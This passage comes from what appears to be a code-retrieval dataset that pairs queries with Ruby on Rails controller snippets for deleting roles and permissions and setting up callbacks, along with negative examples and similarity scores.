"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.70104736",
"0.7009934",
"0.69567925",
"0.6944341",
"0.6942802",
"0.68744475",
"0.68644196",
"0.6863351",
"0.6845862",
"0.68322396",
"0.6829541",
"0.6777187",
"0.67522234",
"0.6709637",
"0.665656",
"0.6614531",
"0.6604242",
"0.6600272",
"0.6581111",
"0.6580062",
"0.6576505",
"0.65603894",
"0.6540665",
"0.6540665",
"0.6529041",
"0.652259",
"0.652259",
"0.652259",
"0.65153825",
"0.6499239",
"0.64817",
"0.64666885",
"0.64666885",
"0.64631635",
"0.6450873",
"0.63609624",
"0.63307536"
] | 0.7437931 | 4 |
DELETE /role_permissions/1 DELETE /role_permissions/1.json | def destroy
@role_permission.destroy
respond_to do |format|
format.html { redirect_to role_permissions_url, notice: 'Role permission was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n @roles_and_permission.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_and_permissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n @lab_permissions_role.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_permissions_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rolepermission.destroy\n respond_to do |format|\n format.html { redirect_to rolepermissions_url, notice: 'Rolepermission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_permission = RolePermission.find(params[:id])\n @role_permission.destroy\n respond_to do |format|\n format.html { index_helper render :action => 'index' }\n format.json { head :ok }\n end\n end",
"def destroy\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @permissionviewrole.destroy\n respond_to do |format|\n format.html { redirect_to permissionviewroles_url, notice: 'Permissionviewrole was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attribute_permission = AttributePermission.find(params[:id])\n @attribute_permission.destroy\n \n respond_to do |format|\n format.html { redirect_to attribute_permissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return unless check_permission\n\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n end\n end",
"def destroy\n @permission_resource = PermissionResource.find(params[:id])\n @permission_resource.destroy\n\n respond_to do |format|\n format.html { redirect_to permission_resources_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @permission = Permission.find(params[:id])\n @permission.destroy\n\n respond_to do |format|\n format.html { redirect_to(permissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\n @permission.destroy\n redirect_to permissions_url\n\n end",
"def destroy\n @permission.destroy\n respond_to do |format|\n format.html { redirect_to permissions_url, notice: 'Permission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @permission = Permission.find(params[:id])\n @permission.destroy\n\n respond_to do |format|\n format.html { redirect_to authenticated_system_permissions_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n @role_permision = RolePermision.find(params[:id])\n @role_permision.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n\n respond_to do |format|\n format.html { redirect_to role_permisions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @permission = Permission.find(params[:id])\n nome = @permission.name\n respond_to do |format|\n if @permission.destroy\n format.html { redirect_to roles_path, :notice => \"Permissão #{nome} removida com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { redirect_to roles_path, :alert => \"Erro ao remover grupo #{nome}: #{@permission.errors.full_messages.to_s}\" }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @admin_role = Role.find(params[:id])\n @admin_role.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n \n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_user_role.destroy\n respond_to do |format|\n format.html { redirect_to core_user_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @permission.destroy\n @permissions= Permission.find(:all)\n flash[:notice] = 'Permission was successfully updated.'\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(superadmin_permissions_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to management_roles_url, notice: 'Perfil was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def remove_role_permissions(permissions_model, role)\n if permissions_model.blank?\n raise LoginRadius::Error.new, getValidationMessage('permissions_model')\n end\n if isNullOrWhiteSpace(role)\n raise LoginRadius::Error.new, getValidationMessage('role')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role/' + role + '/permission'\n delete_request(resource_path, query_parameters, permissions_model)\n end",
"def destroy\n @role_privilege.destroy\n respond_to do |format|\n format.html { redirect_to role_privileges_url, notice: 'Veza je usšešno obrisana.' }\n format.json { head :no_content }\n end\n end",
"def DeleteRole id\n \n APICall(path: \"custom_roles/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @ministerial_role.destroy\n respond_to do |format|\n format.html { redirect_to ministerial_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roles_privilege.destroy\n respond_to do |format|\n format.html { redirect_to roles_privileges_url, notice: 'Roles privilege was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to roles_url , :notice => t('hurricane.notice.delete_record_success', :type => t_type)}\n format.json { head :no_content }\n end\n end",
"def destroy\n role.destroy\n respond_to do |format|\n format.html { redirect_to admin_roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to system_roles_url, notice: '删除角色成功.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @required_role.destroy\n respond_to do |format|\n format.html { redirect_to required_roles_url, notice: 'Required role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n GroupPermission.destroy(params[:id])\n\n respond_to do |format|\n format.html { redirect_to(group_permissions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@permission = Permission.find(params[:id])\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html\t{ redirect_to(permissions_url) }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend",
"def destroy\n\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n @rpm = Rpm.find(params[:id])\n @rpm.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n\n respond_to do |format|\n format.html { redirect_to rpms_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:user_id])\n @role = Role.find(params[:id])\n if @user.has_role?(@role.name)\n @user.roles.delete(@role)\n end\n respond_to do |format|\n format.html {redirect_to :action => 'index' }\n format.xml { head :ok }\n end\n \n end",
"def destroy\n @app_role = AppRole.find(params[:id])\n @app_role.destroy\n\n respond_to do |format|\n format.html { redirect_to app_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @merchant_account_permission.destroy\n respond_to do |format|\n format.html { redirect_to merchant_account_permissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lab_role = LabRole.find(params[:id])\n @lab_role.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_with @role, location: roles_path\n end",
"def destroy\n @role.destroy\n respond_with @role, location: roles_path\n end",
"def remove_profile_from_role\n profileId = params[:profile_id]\n roleId = params[:role_id]\n # find the roles_permission based on the Params\n rp = ProfileRole.where(:role_id => roleId, :profile_id => profileId).first\n rp.destroy\n response = Hash.new\n response[:success] = rp.destroyed?\n response[:role_id] = roleId\n response[:profile_id] = profileId\n respond_to do |format|\n format.json {\n render json: response\n }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to company_roles_url(@company), notice: 'Role was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_role = UserRole.find(params[:id])\n @user_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_user_roles_url) }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @role.destroy\n respond_to do |format|\n format.html { redirect_to user_roles_path }\n format.js\n format.json { head :no_content }\n end\n end",
"def destroy\n chef_server_rest.delete(\"roles/#{@name}\")\n end",
"def destroy\n @group_repo_permission.destroy\n respond_to do |format|\n format.html { redirect_to group_repo_permissions_url, notice: 'Group repo permission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_funcion.destroy\n respond_to do |format|\n format.html { redirect_to role_funcions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@patron = Patron.find(params[:id])\n\n if @patron.user.try(:has_role?, 'Librarian')\n unless current_user.has_role?('Administrator')\n access_denied\n return\n end\n end\n\n @patron.destroy\n\n respond_to do |format|\n flash[:notice] = t('controller.successfully_deleted', :model => t('activerecord.models.patron'))\n format.html { redirect_to patrons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n @role.destroy\n respond_with(@role)\n end",
"def destroy\n @user_role = UserRole.find(params[:id])\n @user_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mg_role.destroy\n respond_to do |format|\n format.html { redirect_to mg_roles_url, notice: 'Mg role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n @access_right = @role.access_rights.find(params[:id])\n @access_right.destroy\n redirect_to company_role_path(@company, @role)\n end",
"def destroy\n @userrole = Userrole.find(params[:id])\n @userrole.destroy\n\n respond_to do |format|\n format.html { redirect_to(userroles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @role = @client.roles.find(params[:id])\n @role.destroy\n\n respond_to do |format|\n flash[:notice] = 'Role was successfully removed.' \n format.html { redirect_to(client_roles_url(@client)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_role = ProjectRole.find(params[:id])\n @project_role.destroy\n\n respond_to do |format|\n format.html { redirect_to project_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n\n @status_del_admitido = StatusDelAdmitido.find(params[:id])\n @status_del_admitido.destroy\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n \n\n respond_to do |format|\n format.html { redirect_to status_del_admitidos_url }\n format.json { head :ok }\n end\n end",
"def delete(role:, type:)\n\t\t\t\t\tconnection.post(build_path('removeRoles'), nil, roleNames: [role].flatten.join(','),\n\t\t\t\t\t\ttype: type).code == '200'\n\t\t\t\tend",
"def destroy\n @permission_policy.destroy\n respond_to do |format|\n format.html { redirect_to permission_policies_url, notice: 'Permission policy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_type = RoleType.find(params[:id])\n @role_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @role.destroy\n\n redirect_to roles_path\n end",
"def destroy\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:id])\n @role.destroy\n \n respond_to do |format|\n format.html { redirect_to company_roles_path(@company) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_auth_ref.destroy\n respond_to do |format|\n format.html { redirect_to role_auth_refs_url, notice: 'Role auth ref was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @permission = Permission.find(params[:id])\n nome = nome_acao(@permission.action.mb_chars.titleize) + \" \" + @permission.subject_class.mb_chars.titleize\n respond_to do |format|\n if @permission.destroy\n format.html { redirect_to permissions_path, :notice => \"Permissão \\\"#{nome}\\\" removida com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { redirect_to permissions_path, :alert => \"Erro ao remover grupo #{nome}: #{@permission.errors.full_messages.to_s}\" }\n format.json { head :no_content }\n end\n end\n end",
"def delete_perms!\n perms.destroy_all\n end",
"def destroy\n @role_user = RoleUser.find(params[:id])\n @role_user.destroy\n\n respond_to do |format|\n format.html { redirect_to(role_users_url) }\n format.xml { head :ok }\n format.json { render :text => '{status: \"success\"}'}\n end\n end",
"def destroy\n @operations_role = OperationsRole.find(params[:id])\n @operations_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(operations_roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @role.destroy\r\n respond_to do |format|\r\n format.html { redirect_to \"index\", notice: 'Role was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n\n logger.tagged(\"destroy\",\"beginning\") {logger.debug \"I'M HERE!\"}\n @user = User.find(params[:id])\n can_destroy_hash = Permissions.hasMorePermissions(@current_user,@user)\n @can_destroy = can_destroy_hash[:has_permission]\n if @can_destroy\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n else\n flash[:warning] = can_destroy_hash[:permission_message]\n redirect_to user_path(@user)\n end\n\n end",
"def destroy\n @titan_role.destroy\n respond_to do |format|\n format.html { redirect_to titan_roles_url, notice: 'Titan role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cms_role.destroy\n respond_to do |format|\n format.html { redirect_to cms_roles_url, notice: 'Role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sys_role.destroy\n respond_to do |format|\n format.html { redirect_to sys_roles_url, notice: 'Sys role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @privilege.destroy\n respond_to do |format|\n format.html { redirect_to privileges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find_by_id(params[:id])\n @role.destroy\n\n respond_to do |format|\n format.html { redirect_to(roles_url, :notice => \"User role removed.\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @profile_role.destroy\n respond_to do |format|\n format.html { redirect_to profile_roles_url, notice: 'Profile role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_role_ref.destroy\n respond_to do |format|\n format.html { redirect_to admin_role_refs_url, notice: 'Admin role ref was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role = Role.find(params[:id])\n \n @users = User.find_by_role_id(@role.id)\n respond_to do |format|\n if @users == nil\n @role.destroy\n format.html { redirect_to roles_url, :notice => t(:role_deleted) }\n format.json { head :no_content }\n else\n format.html { redirect_to roles_url, :alert => t(:role_inuse) }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @master_role.destroy\n respond_to do |format|\n format.html { redirect_to master_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @security_agent_role.destroy\n respond_to do |format|\n format.html { redirect_to security_agent_roles_url, notice: 'Security agent role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_has_role_for_node.destroy\n respond_to do |format|\n format.html { redirect_to user_has_role_for_nodes_url, notice: 'User has role for node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @granted_scope = GrantedScope.find(params[:id])\n @granted_scope.destroy\n\n respond_to do |format|\n format.html { redirect_to granted_scopes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find params[:user_id]\n @role = Role.find params[:id]\n\n @user.roles.delete @role\n flash[:notice] = 'Assigment was successfully destroyed.'\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def remove_role\n if @user.has_role? params[:role]\n @user.remove_role params[:role]\n render json: { :success => 'role successfully removed' } \n else \n render json: { :success => 'The user does not have this role' }\n end\n end",
"def destroy\n @worship_role.destroy\n respond_to do |format|\n format.html { redirect_to worship_roles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n success = false;\n error = \"Resource not available.\"\n permissions = nil\n\n if params.key?(:id)\n permissions = ProjectPermission.find_by(id: params[:id])\n if permissions\n project = permissions.project\n if project and user_can_access_project(project.id, [:can_author])\n permissions.destroy\n success = permissions.destroyed?\n error = \"Error removing permissions.\" unless success\n end\n end\n end\n\n if success\n render json: \"\", serializer: SuccessSerializer\n else\n render_error error\n end\n end",
"def destroy\n @cdg_permission_type.destroy\n respond_to do |format|\n format.html { redirect_to cdg_permission_types_url, notice: 'Cdg permission type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n\nrol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"ACRM\"\n \n \n @status_de_interes_de_prospecto_validado = StatusDeInteresDeProspectoValidado.find(params[:id])\n @status_de_interes_de_prospecto_validado.destroy\n\n\nelse\n flash[:error] ='No tienes permiso para realizar esta accion'\n\nend\n \n respond_to do |format|\n format.html { redirect_to status_de_interes_de_prospecto_validados_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user_space_role = UserSpaceRole.find(params[:id])\n @user_space_role.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_space_roles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sulabh_user_role.destroy\n respond_to do |format|\n format.html { redirect_to sulabh_user_roles_url, notice: 'Sulabh user role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @users_role.destroy\n respond_to do |format|\n format.html { redirect_to users_roles_url, notice: 'Users role was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n @role = get_role\n respond_with @event, @role\n end",
"def delete_reverse_permission\n reverse_permission = Cbac::CbacPristine::PristinePermission.where(\n privilege_set_name: privilege_set_name,\n pristine_role_id: pristine_role_id,\n operation: reverse_operation)\n .first\n\n reverse_permission.delete\n end"
] | [
"0.7829103",
"0.77497405",
"0.7609267",
"0.72871375",
"0.7160339",
"0.7127967",
"0.7113657",
"0.70617336",
"0.7011175",
"0.69962",
"0.6982307",
"0.6944075",
"0.6943822",
"0.691753",
"0.69158435",
"0.690891",
"0.69029933",
"0.6897984",
"0.6892507",
"0.68684214",
"0.6859807",
"0.6857244",
"0.6847887",
"0.6829078",
"0.68183154",
"0.68111575",
"0.6809988",
"0.67932296",
"0.6790572",
"0.67602414",
"0.67536527",
"0.67299414",
"0.6724223",
"0.6719255",
"0.670906",
"0.67059183",
"0.67019206",
"0.66798425",
"0.6660869",
"0.662128",
"0.662128",
"0.6613982",
"0.661173",
"0.6610273",
"0.6605879",
"0.6605879",
"0.6605879",
"0.6605879",
"0.6605879",
"0.6605879",
"0.65856624",
"0.65856624",
"0.65743405",
"0.6569495",
"0.6553903",
"0.65505654",
"0.6545584",
"0.65373474",
"0.6526575",
"0.6525289",
"0.6510634",
"0.65076226",
"0.6506534",
"0.6497177",
"0.64850587",
"0.6474887",
"0.6471756",
"0.64696985",
"0.64666426",
"0.6465142",
"0.6456194",
"0.64557165",
"0.6450822",
"0.6434521",
"0.64293265",
"0.6425125",
"0.64228916",
"0.6420665",
"0.6418287",
"0.6416312",
"0.641103",
"0.6409205",
"0.6405154",
"0.64004487",
"0.640044",
"0.63893795",
"0.6385418",
"0.6380654",
"0.6380044",
"0.63752776",
"0.63698137",
"0.63626117",
"0.63605803",
"0.63604695",
"0.63601077",
"0.6355176",
"0.6354198",
"0.634792",
"0.63432133",
"0.6341927"
] | 0.7711633 | 2 |
Use callbacks to share common setup or constraints between actions. | def set_role_permission
@role_permission = RolePermission.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
